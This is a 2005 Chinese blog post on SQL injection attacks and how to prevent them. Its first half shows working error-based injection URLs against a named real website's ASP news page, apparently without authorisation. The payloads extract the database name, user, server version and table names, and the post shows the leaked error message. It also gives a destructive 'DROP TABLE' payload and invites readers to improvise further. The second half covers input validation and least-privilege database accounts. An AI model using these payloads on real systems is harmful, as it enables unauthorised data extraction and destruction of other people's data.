TomSun

享受编程的快乐!Attitude is everything!

导航

sql注入的方法与防范

Posted on 2005-05-10 09:20  TomSun  阅读(506)  评论(0)    收藏  举报

http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077 And db_name()>0; --数据库名

很显然程序员没有去处理非正常的URL
当我们用这样的URL去get时,程序就这样执行

<%
Dim NewsID
NewsID = Request("NewsID") ' NewsID = 1077 And db_name()>0;

strSQL = "SELECT * FROM table WHERE NewsID=" & NewsID  
' strSQL = SELECT * FROM table WHERE NewsID=1077 And db_name()>0;
Conn.Execute(strSQL) '由于db_name()返回的是字符型,和整型1进行比较,发生了错误,那么这一句就会报错了
%>

Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 

将 nvarchar 值 'newhomelink' 转换为数据类型为 int 的列时发生语法错误。 

/newhomelink/site/News/Content.asp,行26 

哈哈,原来数据库名是newhomelink

下面还有些例子

/* 查看服务器状态 */

http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077 
and user%2bchar(124)>0;--用户名

http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077 
and @@version =1;--服务器版本

http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077  
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 1 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第一个表名

http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077  
And (Select Top 1 cast(name as varchar(8000)) from(Select Top 2 id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0 --第二个表名

/* 要做坏事啰 */
http://www.homelink.com.cn/newhomelink/site/News/Content.asp?NewsID=1077;DROP TABLE xxx;

其实还有很多,你尽可发挥想像

如何防范

第一道防线 程序方面

限定字串长度或输入的格式

客户端过来的数据都不可信任,包括 get、post、Session,还有cookies过来的值

Dim UserID
UserID = SQLFix(Request.Form("id"))

SQLFix函数在
ednchina\bbs\Include\sqlfix.asp

如果参数是数字型的,应该用isnumeric函数判断是否是数值

第二道防线 数据库方面

网站的数据库权限尽可能的小.
db_owen显然太大了.如果没有特殊要求应该只给read和write的权限.
一定不要用sa,这个权限其实就是administrtor啰

线上资源
编写安全的 Transact-SQL
http://www.microsoft.com/china/msdn/library/data/sqlserver/Sqldev101804.mspx

撰寫安全的 ADO.NET 命令字串
http://www.microsoft.com/taiwan/msdn/elearning/ADOdotNETSecurity.htm

SQL Injection (資料隱碼)– 駭客的 SQL填空遊戲
http://www.microsoft.com/taiwan/SQL/SQL_Injection_G1.htm